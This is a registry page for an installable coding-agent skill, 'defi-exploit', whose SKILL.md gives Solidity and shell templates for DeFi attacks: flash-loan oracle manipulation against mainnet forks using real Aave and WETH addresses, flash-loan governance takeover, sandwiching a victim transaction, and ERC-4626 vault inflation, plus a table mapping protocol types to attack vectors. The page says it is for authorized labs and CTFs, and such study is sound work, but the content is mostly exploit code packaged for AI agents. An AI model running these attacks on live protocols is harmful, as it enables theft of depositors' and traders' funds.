karamonjie/karamotech-agent-suite/defi-exploit

Claude Code and agent skill by karamonjie/karamotech-agent-suite

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Install

npx vskill@latest install karamonjie/karamotech-agent-suite/defi-exploit

SKILL.md

The same SKILL.md was published earlier as karamonjie/karamotech-agent-suite/defi-exploit.

/defi-exploit — DeFi Protocol Exploit Analysis

Analyze and simulate DeFi exploit scenarios in authorized lab or CTF environments.

Usage

/defi-exploit flash-loan-oracle <protocol>
/defi-exploit reentrancy <contract_address>
/defi-exploit governance-attack <dao_address>
/defi-exploit sandwich <target_tx_hash>

Flash Loan Oracle Attack

Setup (Foundry mainnet fork)
bash
anvil --fork-url $ETH_RPC_URL --fork-block-number $BLOCK_NUM
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import {IERC20} from "openzeppelin/token/ERC20/IERC20.sol";
interface IFlashLoan {
function flashLoan(address receiver, address token, uint amount, bytes calldata data) external;
}
contract FlashLoanOracleAttack is Test {
IFlashLoan constant AAVE = IFlashLoan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IVulnerableProtocol target;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), BLOCK_NUM);
target = IVulnerableProtocol(TARGET_ADDRESS);
}
function testFlashLoanOracleManipulation() public {
// 1. Take flash loan — borrow large amount to move AMM price
uint loanAmt = 10_000 ether;
AAVE.flashLoan(address(this), WETH, loanAmt, abi.encode("exploit"));
}
function executeOperation(address asset, uint amount, uint fee, bytes calldata) external {
// 2. Swap on AMM → move spot price dramatically
_swapOnAMM(amount);
// 3. Exploit target protocol that reads spot price
target.borrow(COLLATERAL, MAX_BORROW); // oracle returns manipulated price
// 4. Swap back → restore price (keep profit)
_swapBack();
// 5. Repay flash loan
IERC20(asset).approve(address(AAVE), amount + fee);
}
}

Governance Attack

solidity
// Attack flow: flash loan → acquire votes → pass malicious proposal
function testGovernanceFlashLoan() public {
uint proposalId = /* existing proposal or create one */;
// Flash borrow governance tokens
uint borrowAmt = quorum + 1;
token.flashBorrow(borrowAmt, address(this), "");
// Vote in callback
governor.castVote(proposalId, 1 /* For */);
// Repay in same tx — but vote is already cast
token.repay(borrowAmt);
// Fast-forward past voting period
vm.roll(block.number + governor.votingPeriod() + 1);
// Execute malicious proposal
governor.execute(proposalId);
}

Sandwich Attack Simulation

bash
# Decode pending victim TX
cast tx $VICTIM_TX_HASH
# Calculate sandwich parameters
python3 - <<'EOF'
# Given victim: swapping X tokenA for tokenB with Y% slippage
# Frontrun: buy tokenB before victim → raise price
# Victim: buys at inflated price, receives less
# Backrun: sell tokenB → profit
victim_in = 100_000 # USDC
slippage_pct = 0.5 # 0.5%
pool_reserve = 1_000_000
price_impact = victim_in / (pool_reserve + victim_in)
max_frontrun = victim_in * slippage_pct / 100 / price_impact
print(f"Max frontrun: {max_frontrun:.2f} USDC")
print(f"Expected profit: {victim_in * slippage_pct / 100:.2f} USDC")
EOF

ERC-4626 Vault Inflation

solidity
function testVaultInflation() public {
// Step 1: Attacker is first depositor
vault.deposit(1, attacker); // 1 wei → 1 share
// Step 2: Donate directly to inflate price per share
token.transfer(address(vault), 1e18); // 1 token donated, not minted
// Step 3: Victim deposits
uint shares = vault.deposit(1e18 - 1, victim);
assertEq(shares, 0, "victim gets 0 shares"); // rounds down
// Step 4: Attacker redeems
uint received = vault.redeem(1, attacker, attacker);
assertGt(received, 1e18, "attacker profits");
}

Known DeFi Exploit Templates

Protocol TypeCommon VectorFlash Loan Needed
Lending (Compound-style)Oracle price manipulationYes
AMM (Uniswap-style)Sandwich, JIT liquidityNo
Yield vault (ERC-4626)Inflation attackNo
Governance (OpenZeppelin)Flash loan voteYes
BridgingMessage replay / validator setNo
Staking rewardsEpoch boundary abuseNo
NFT marketplacesPrice oracle via floorYes

Useful cast Commands

bash
# Read contract state
cast call $CONTRACT "totalAssets()(uint256)" --rpc-url $RPC
# Simulate TX without broadcasting
cast call $CONTRACT "liquidate(address,uint256)" $USER 1000 --from $ATTACKER
# Decode calldata
cast decode-calldata "deposit(uint256,address)" $CALLDATA
# Check token balance
cast call $TOKEN "balanceOf(address)(uint256)" $ADDRESS
# Get storage slot
cast storage $CONTRACT $SLOT
# Trace a historical TX
cast run $TX_HASH --rpc-url $RPC -vvvv

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
1
7-day trend score
0

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/karamonjie/karamotech-agent-suite/defi-exploit/badge)](https://verified-skill.com/skills/karamonjie/karamotech-agent-suite/defi-exploit)

Something wrong with this skill or its page? Tell us.